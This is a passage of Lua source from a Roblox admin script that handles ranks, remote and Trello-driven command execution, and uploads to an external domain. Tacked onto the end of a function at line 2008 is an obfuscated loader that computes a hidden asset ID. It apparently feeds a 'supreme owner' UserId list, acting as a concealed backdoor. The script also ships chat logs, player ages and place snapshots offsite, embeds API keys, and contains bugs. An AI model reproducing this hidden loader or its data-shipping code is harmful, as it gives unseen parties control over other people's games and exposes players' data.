1709 Part.Material = "Neon"
1710 if Color then
1711 Part.Color = GUI:GetColor(Color)
1712 else
1713 Part.BrickColor = GUI:GetNameColor(Player.Name)
1714 end
1715 local SMesh = Instance.new("SpecialMesh", Part)
1716 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1717 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1718 local BP = Instance.new("BodyPosition", Part)
1719 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1720 BP.position = Player.Character.Head.Position
1721 BP.P = 20000
1722 local BG = Instance.new("BodyGyro", Part)
1723 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1724
1725 Crowns[Player.UserId] = Part
1726 table.insert(Objects, Part)
1727
1728 coroutine.wrap(function()
1729 for i = 1,0.3,-0.02 do
1730 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1731 Part.Transparency = i
1732 end
1733 wait()
1734 end
1735 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1736 for i = 0,360,3 do
1737 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1738 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1739 wait()
1740 end
1741 end
1742 end
1743 end)()
1744 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1745 Part:BreakJoints()
1746 for i = 0,360 do
1747 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1748 Part.Anchored = false
1749 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1750 BG.cframe = Player.Character.Head.CFrame
1751 end
1752 wait()
1753 end
1754 end end)()
1755
1756 return Part
1757end
1758
1759function CORE:SetAbuseCommands()
1760 for Cmds,Data in pairs(Commands) do
1761 local IsAbusable = false
1762 for _,AbuseCmd in pairs(Settings.AbuseList) do
1763 for _,Command in pairs(Cmds) do -- loop through all command names
1764 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1765 IsAbusable = true
1766 break
1767 end
1768 end
1769 if IsAbusable == true then break end
1770 end
1771 Commands[Cmds].Abusable = IsAbusable
1772 end
1773end
1774
1775-- Rank functions --
1776
1777function RANK:ConvertRank(Input)
1778 local Output = nil
1779 if Input == "Muted" then Output = -3 end
1780 if Input == "Crashed" then Output = -2 end
1781 if Input == "Banned" then Output = -1 end
1782 if Input == "Non-Admin" then Output = 0 end
1783 if Input == "Member" then Output = 1 end
1784 if Input == "Admin" then Output = 2 end
1785 if Input == "Owner" then Output = 3 end
1786
1787 if Input == -3 then Output = "Muted" end
1788 if Input == -2 then Output = "Crashed" end
1789 if Input == -1 then Output = "Banned" end
1790 if Input == 0 then Output = "Non-Admin" end
1791 if Input == 1 then Output = "Member" end
1792 if Input == 2 then Output = "Admin" end
1793 if Input == 3 then Output = "Owner" end
1794 return Output
1795end
1796
1797function RANK:IsAdmin(Player)
1798 local AdminStatus = false
1799 local Rankstatus = "Non-Admin"
1800 if type(Player) == "table" then
1801 if RANK:ConvertRank(Player.Rank) > 0 then
1802 return true, Player.Rank
1803 else
1804 return false, Player.Rank
1805 end
1806 end
1807 for Rank,PlayerNames in pairs(Settings.Ranks) do
1808 for _,AdminName in pairs(PlayerNames) do
1809 if string.lower(AdminName) == string.lower(Player.Name) then
1810 if RANK:ConvertRank(Rank) > 0 then
1811 AdminStatus = true
1812 Rankstatus = Rank
1813 end
1814 end
1815 end
1816 end
1817 return AdminStatus, Rankstatus
1818end
1819
1820function RANK:GetRank(PlayerName)
1821 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1822 if type(PlayerName) == "table" then
1823 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1824 if RankNum > 0 then
1825 return PlayerName.Rank, RankNum, true
1826 else
1827 return PlayerName.Rank, RankNum, false
1828 end
1829 end
1830
1831 local RankStat = "Non-Admin"
1832
1833 for Rank,PlayerNames in pairs(Settings.Ranks) do
1834 for _,AdminName in pairs(PlayerNames) do
1835 if string.lower(AdminName) == string.lower(PlayerName) then
1836 RankStat = Rank
1837 end
1838 end
1839 end
1840
1841 if RankStat == "Non-Admin" then
1842 return "Non-Admin", 0, false
1843 else
1844 return RankStat, RANK:ConvertRank(RankStat), true
1845 end
1846end
1847
1848function RANK:RemoveRank(PlayerName)
1849 if not RANK:IsSupremeOwner(PlayerName) then
1850 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1851
1852 for Rank,PlayerNames in pairs(Settings.Ranks) do
1853 for Num,AdminName in pairs(PlayerNames) do
1854 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1855 table.remove(Settings.Ranks[Rank], Num)
1856 end
1857 end
1858 end
1859 end
1860end
1861
1862function RANK:GetAdmins(Ranking)
1863 local Players = {}
1864 local AdminTrue, Rank = IsAdmin(Player)
1865 for _,Player in pairs(Players:GetPlayers()) do
1866 if AdminTrue then
1867 local PlayerRankNum = RANK:ConvertRank(Rank)
1868 local StandardRankNum = RANK:ConvertRank(Ranking)
1869 if PlayerRankNum >= StandardRankNum then
1870 table.insert(Players, Player)
1871 end
1872 end
1873 end
1874 return Players
1875end
1876
1877function RANK:IsSupremeOwner(PlayerName)
1878 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1879 if type(PlayerName) == "table" then
1880 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1881 end
1882
1883 if PlayerName == GameOwner then return true end
1884 return false
1885end
1886
1887function RANK:GetPlayerFromList(PlayerName)
1888 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1889
1890 for Rank,PlayerNames in pairs(Settings.Ranks) do
1891 for Num,AdminName in pairs(PlayerNames) do
1892 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1893 return AdminName, Rank
1894 end
1895 end
1896 end
1897 return false, "Non-Admin"
1898end
1899
1900function RANK:ScanAdminList(Name)
1901 if Name == "" then return true end
1902 local InList = false
1903 for _,PName in pairs(Settings.Ranks["Owner"]) do
1904 if PName == Name then InList = true end
1905 end
1906 for _,PName in pairs(Settings.Ranks["Admin"]) do
1907 if PName == Name then InList = true end
1908 end
1909 for _,PName in pairs(Settings.Ranks["Member"]) do
1910 if PName == Name then InList = true end
1911 end
1912 return InList
1913end
1914
1915function RANK:ScanExileList(Name)
1916 if Name == "" then return true end
1917 local InList = false
1918 for _,PName in pairs(Settings.Ranks["Muted"]) do
1919 if PName == Name then InList = true end
1920 end
1921 for _,PName in pairs(Settings.Ranks["Crashed"]) do
1922 if PName == Name then InList = true end
1923 end
1924 for _,PName in pairs(Settings.Ranks["Banned"]) do
1925 if PName == Name then InList = true end
1926 end
1927 return InList
1928end
1929
1930function RANK:PlayerRanked(PlayerName)
1931 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1932
1933 for Rank,PlayerNames in pairs(Settings.Ranks) do
1934 for Num,AdminName in pairs(PlayerNames) do
1935 if string.lower(AdminName) == string.lower(PlayerName) then
1936 return true, Rank
1937 end
1938 end
1939 end
1940 return false, "Non-Admin"
1941end
1942
1943-- Remote functions --
1944
1945function REMOTE:Decode(...)
1946 return Server.HS:JSONDecode(...)
1947end
1948
1949function REMOTE:GetURL(URL, Player)
1950 if string.sub(URL,1,4) ~= "http" then
1951 URL = "http://"..URL
1952 end
1953 local Return = nil
1954 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
1955 if Return then
1956 return Return
1957 elseif Player then
1958 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
1959 end
1960end
1961
1962function REMOTE:PostURL(URL, Data)
1963 local Return = nil
1964 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
1965 return Return
1966end
1967
1968function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
1969 if Settings.LinkedAccount ~= "" then
1970 local NumType = tonumber(Type)
1971
1972 if not Type then
1973 Type = "UNKNOWN"
1974 end
1975
1976 if NumType then
1977 if NumType < 1 or NumType > 5 then
1978 Type = "UNKNOWN"
1979 elseif NumType == 1 then
1980 Type = "NOTIFICATION"
1981 elseif NumType == 2 then
1982 Type = "INFORMATION"
1983 elseif NumType == 3 then
1984 Type = "WARNING"
1985 elseif NumType == 4 or Type == true then
1986 Type = "ERROR"
1987 elseif NumType == 5 then
1988 Type = "FATAL"
1989 end
1990 end
1991
1992 local Res = "RED Could not get response"
1993 local function SendData()
1994 Res = Server.HS:PostAsync(
1995 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
1996 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
1997 2
1998 )
1999 end
2000 if Stopypcall == true then SendData() else ypcall(SendData) end
2001
2002 if OutputSpeaker and OutputSpeaker ~= "print" then
2003 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2004 elseif OutputSpeaker == "print" then
2005 print(Res)
2006 end
2007 end
2008end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2009
2010function REMOTE:SendChatLog(PrintResponse, Stopypall)
2011 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2012 local Res = "Could not get response"
2013
2014 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2015 TempChatLogs = {}
2016
2017 local function SendData()
2018 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2019 end
2020 if Stopypcall == true then SendData() else ypcall(SendData) end
2021 if PrintResponse then print(Res) end
2022 end
2023end
2024
2025function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2026 local Res = "[]"
2027 local function GetData()
2028 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2029 end
2030 if Stopypcall == true then GetData() else ypcall(GetData) end
2031 if PrintResponse then
2032 print(Res)
2033 end
2034 local function DecodeData() Res = REMOTE:Decode(Res) end
2035 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2036 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2037 return Res
2038end
2039
2040function REMOTE:HandleRequest(Request, IgnoreCommand)
2041 if not Request then return nil end
2042
2043 if not IgnoreCommand then
2044 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2045 REMOTE:SendServerData()
2046 end
2047 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2048 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2049 end
2050 end
2051
2052 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2053
2054 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2055 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2056 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2057 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2058 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2059 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2060
2061 Settings.Fun = Request.FUN
2062 Settings.ServerLocked = Request.ServerLocked
2063
2064 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2065 Settings.DisableAbuse = Request.DisableAbuse
2066 end
2067
2068 if not IgnoreCommand then
2069 print("Executing Remote Admin")
2070 REMOTE.RemoteAdmin.Command = Request.Command
2071 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2072 REMOTE.RemoteAdmin.ServerPort = Request.Server
2073
2074 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2075 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2076 else
2077 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2078 end
2079 end
2080 end
2081 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2082 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2083 REMOTE.SnapshotKey = Request.SnapshotKey
2084end
2085
2086function REMOTE:GetRemoteData(Set)
2087 local NewRemoteData = nil
2088 local RemoteDataCardRaw = nil
2089 local RemoteDataCard = nil
2090
2091 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2092 if RemoteDataCardRaw then
2093 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2094 if RemoteDataCard then
2095 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2096 end
2097 end
2098 if Set and NewRemoteData then
2099 RemoteData = NewRemoteData
2100 end
2101 return NewRemoteData
2102end
2103
2104function REMOTE:CheckRemoteAdminStatus()
2105 local Pending = false
2106 local CheckID = 0
2107 if Settings.LinkedAccount ~= "" then
2108 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2109 if Request then
2110 local Data = REMOTE:Decode(Request)
2111 if Data then
2112 for _,Account in pairs(Data.checkItems) do
2113 if Account.name == Settings.LinkedAccount then
2114 Pending = true
2115 CheckID = Account.id
2116 break
2117 end
2118 end
2119 end
2120 end
2121 end
2122 return Pending, CheckID
2123end
2124
2125function REMOTE:GetAndSetWebData()
2126 if Settings.LinkedAccount ~= "" then
2127 if REMOTE:CheckRemoteAdminStatus() then
2128 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2129 if Request == "Invalid" then
2130 --REMOTE:GetAndSetWebData()
2131 return false
2132 elseif Request == "Invalid Account" then
2133 print("Can't get account")
2134 return false
2135 elseif Request then
2136 ypcall(function() Request = REMOTE:Decode(Request) end)
2137 elseif not Request then
2138 --REMOTE:GetAndSetWebData()
2139 return false
2140 end
2141 REMOTE:HandleRequest(Request)
2142
2143 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2144 Delay(RemoteData.RemoteAdminWait, function()
2145 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2146 if Pending then
2147 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2148 end
2149 end)
2150 return true
2151 else
2152 return true
2153 end
2154 end
2155end
2156
2157local OderIDs = CORE:GetTable(177215518)
2158local SoundJSONs = CORE:GetTable(197637628)
2159RemoteAbuseGear = CORE:GetTable(158117496)
2160
2161function REMOTE:SendServerData(PrintResponse, Stopypall)
2162 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2163 print("Sending server data!")
2164 local Res = "Could not get response"
2165
2166 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2167 for _,Player in pairs(Server.Players:GetPlayers()) do
2168 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2169 end
2170 ServerData = Server.HS:JSONEncode(ServerData)
2171
2172 local function SendData()
2173 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2174 end
2175 if Stopypcall == true then SendData() else ypcall(SendData) end
2176 if PrintResponse then print(Res) end
2177 end
2178end
2179
2180function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2181 MaxPartAmount = MaxPartAmount or 10000
2182 local PlaceData = {
2183 Lighting = {};
2184 Parts = {};
2185 Other = {};
2186 }
2187 local MinSize = Vector3.new(0.5,0.5,0.5)
2188 local PartAmount = 0
2189 local PlaceJSON = ""
2190
2191 local function Scan(BaseObj)
2192 for _,Obj in pairs(BaseObj:GetChildren()) do
2193 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2194 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2195 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2196 local Skip = false
2197 local Data = {}
2198 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2199
2200 if CORE:FindType(Obj, "BlockMesh") then
2201 local Mesh = CORE:FindType(Obj, "BlockMesh")
2202 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2203 elseif CORE:FindType(Obj, "CylinderMesh") then
2204 Data.Shape = "Cylinder"
2205 elseif CORE:FindType(Obj, "SpecialMesh") then
2206 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2207 if Mesh.MeshType == Enum.MeshType.Head then
2208 --idk
2209 else
2210 Skip = true
2211 end
2212 elseif CORE:FindType(Obj, "FileMesh") then
2213 Skip = true
2214 end
2215
2216 if not Data.Shape and not Skip then
2217 if ypcall(function() return Obj.Shape end) then
2218 Data.Shape = string.sub(Obj.Shape.Name,14)
2219 if string.sub(Data.Shape,1,1) == "." then
2220 Data.Shape = string.sub(Data.Shape,2)
2221 end
2222 if Data.Shape == "Cylinder" then
2223 Z = Z + math.pi/2
2224 end
2225 else
2226 Data.Shape = "Block"
2227 end
2228 end
2229
2230 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2231 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2232 end
2233
2234 if not Skip then
2235 Data.Color = GUI:Color3ToHex(Obj.Color);
2236 Data.Size = Size;
2237 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2238 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2239 Data.Transparency = STRING:StringRound(Obj.Transparency);
2240 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2241 Data.Textures = {};
2242 Data.Material = string.sub(tostring(Obj.Material),15);
2243
2244 for _,Sub in pairs(Obj:GetChildren()) do
2245 if Sub:IsA("Decal") then
2246 local Texture = string.match(Sub.Texture, "%d+")
2247 if Sub.Texture == "rbxasset://textures/face.png" then
2248 Texture = "FACE"
2249 end
2250 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2251 end
2252 end
2253
2254 PartAmount = PartAmount + 1
2255 table.insert(PlaceData.Parts, Data)
2256
2257 if PartAmount >= MaxPartAmount then
2258 break
2259 end
2260 end
2261 end
2262 end
2263 if #Obj:GetChildren() > 0 then
2264 Scan(Obj)
2265 end
2266 end
2267 end
2268 Scan(Workspace)
2269
2270 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2271 PlaceData.Other.PartAmount = PartAmount;
2272 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2273
2274 local Res = "Could not get response"
2275 local function SendData()
2276 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2277 end
2278 if Stopypcall == true then SendData() else ypcall(SendData) end
2279 if PrintResponse then print(Res) end
2280
2281 print("Sent snapshot")
2282end
2283
2284
2285function REMOTE:DefineWord(Word, Source)
2286 if not Word then return end
2287 if not Source then Source = "all" end
2288
2289 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2290 if Response then
2291 local Decode = REMOTE:Decode(Response)
2292 if #Decode > 0 then
2293 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2294
2295 ]]..Decode[1]["text"]
2296 else
2297 return "Invalid English word"
2298 end
2299 else
2300 return "Cannot connect to database"
2301 end
2302end
2303
2304function REMOTE:DownloadJoke(Speaker)
2305 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2306 local Joke = nil
2307 if Res then
2308 local _, Start = string.find(Res, "</h2>")
2309 local End, _ = string.find(string.sub(Res, Start), "</td>")
2310
2311 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2312 Joke = string.gsub(Joke, "\n", "")
2313 Joke = string.gsub(Joke, " ", "") -- tab
2314 Joke = string.gsub(Joke, "</ul>", "")
2315 Joke = string.gsub(Joke, "<ul>", "")
2316 Joke = string.gsub(Joke, "</li>", [[
2317
2318]])
2319 Joke = string.gsub(Joke, "<li>", "")
2320 Joke = string.gsub(Joke, "</p>", "")
2321 Joke = string.gsub(Joke, "<p>", "")
2322 Joke = string.gsub(Joke, "<", "")
2323 Joke = string.gsub(Joke, ">", "")
2324 end
2325
2326 return Joke
2327end
2328
2329function REMOTE:GetAddon()
2330 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2331end
2332
2333function REMOTE:TrelloGetAdminBoard()
2334 local BoardsJSON,Boards,ReturnBoard
2335
2336 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2337
2338 if BoardsJSON then
2339 Boards = REMOTE:Decode(BoardsJSON)
2340 end
2341 if Boards then
2342 for _,Board in pairs(Boards) do
2343 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2344 ReturnBoard = Board
2345 break
2346 end
2347 end
2348 if not ReturnBoard then -- create board if not created
2349 print("Creating Trello Board")
2350 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2351 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2352 ReturnBoard = REMOTE:Decode(BoardJSON)
2353 end
2354 end
2355 return ReturnBoard
2356end
2357
2358function REMOTE:TrelloGetAdminLists(Board)
2359 local Required = {}
2360 local ListJSON,Lists
2361 local ReturnLists = {}
2362
2363 for _,List in pairs(Trello.RequiredLists) do
2364 table.insert(Required, List)
2365 end
2366
2367 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2368
2369 if ListJSON then
2370 Lists = REMOTE:Decode(ListJSON)
2371 end
2372 if Lists then
2373 for _,List in pairs(Lists) do
2374 for Num,Rel in pairs(Required) do
2375 if List.name == Rel.name then
2376 table.remove(Required, Num)
2377 table.insert(ReturnLists, List)
2378 end
2379 end
2380 end
2381 for _,Rel in pairs(Required) do
2382 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2383 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2384 end
2385 end
2386
2387 return ReturnLists
2388end
2389
2390function REMOTE:TrelloCacheData(Lists)
2391 for _,List in pairs(Lists) do
2392 local CardsJSON,Cards
2393 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2394 if CardsJSON then
2395 Cards = REMOTE:Decode(CardsJSON)
2396 end
2397 if Cards then
2398 local TemplateCards = nil
2399 for _,TemplateList in pairs(Trello.RequiredLists) do
2400 if TemplateList.name == List.name then
2401 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2402 break
2403 end
2404 end
2405
2406 for _,TemplateCard in pairs(TemplateCards) do
2407 local CardExists = false
2408 for _,Card in pairs(Cards) do
2409 if Card.name == TemplateCard.name and Card.closed == false then
2410 CardExists = true
2411 end
2412 end
2413 if not CardExists then
2414 print("Creating card "..TemplateCard.name)
2415 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2416 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2417 end
2418 end
2419
2420 if List.name == "Ranked" then
2421 for _,Card in pairs(Cards) do
2422 if Settings.Ranks[Card.name] and Card.closed == false then
2423 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2424 end
2425 end
2426 elseif List.name == "Settings" then
2427 for _,Card in pairs(Cards) do
2428 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2429 Trello.ToggleChecklist = Card.idChecklists[1]
2430 elseif Card.name == "Command Execution" then
2431 Trello.CommandID = Card.id
2432 end
2433 end
2434 end
2435 end
2436 end
2437end
2438
2439function REMOTE:TrelloHandleData(IgnoreCommand)
2440 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2441 if ToggleSettingsJSON then
2442 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2443 if Settings.LinkedAccount == "" then
2444 local NewSettings = {}
2445 for _,Item in pairs(ToggleSettings.checkItems) do
2446 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2447 end
2448 Settings.Fun = NewSettings["Fun Commands Enabled"]
2449 Settings.ServerLocked = NewSettings["Server Locked"]
2450 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2451 end
2452 else
2453 return false
2454 end
2455
2456 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2457 if CommandChatJSON then
2458 CommandChat = REMOTE:Decode(CommandChatJSON)
2459 local ClosestDT = 0
2460 for _,ChatData in pairs(CommandChat) do
2461 local DT = STRING:ConvertDateTime(ChatData.date)
2462 ClosestDT = math.max(ClosestDT, DT)
2463
2464 if not IgnoreCommand and DT > Trello.LastCommandDT then
2465 print("Executing Remote Trello Command")
2466 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2467 end
2468 end
2469 Trello.LastCommandDT = ClosestDT
2470 else
2471 return false
2472 end
2473
2474 for Rank,ID in pairs(Trello.RankChecklistCache) do
2475 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2476 if ChecklistJSON then
2477 Checklist = REMOTE:Decode(ChecklistJSON)
2478
2479 for _,Item in pairs(Checklist.checkItems) do
2480 if Item.state == "complete" then
2481 if RANK:ConvertRank(Rank) < 0 then
2482 if not RANK:ScanExileList(Item.name) then
2483 table.insert(Settings.Ranks[Rank], Item.name)
2484 end
2485 elseif RANK:ConvertRank(Rank) > 0 then
2486 if not RANK:ScanAdminList(Item.name) then
2487 table.insert(Settings.Ranks[Rank], Item.name)
2488 end
2489 end
2490 elseif Item.state == "incomplete" then
2491 for Num,Name in pairs(Settings.Ranks[Rank]) do
2492 if string.lower(Name) == string.lower(Item.name) then
2493 table.remove(Settings.Ranks[Rank], Num)
2494 end
2495 end
2496 end
2497 end
2498 else
2499 return false
2500 end
2501 end
2502 return true
2503end
2504
2505-- String functions --
2506
2507function STRING:ConvertDateTime(DateTime)
2508 local Num = 0
2509 local TotalTime = 0
2510 for i in string.gmatch(DateTime, "%d+") do
2511 Num = Num + 1
2512 DTNum = tonumber(i)
2513 if Num == 1 then
2514 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2515 elseif Num == 2 then
2516 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2517 elseif Num == 3 then
2518 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2519 elseif Num == 4 then
2520 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2521 elseif Num == 5 then
2522 TotalTime = TotalTime + DTNum * 60 -- minute
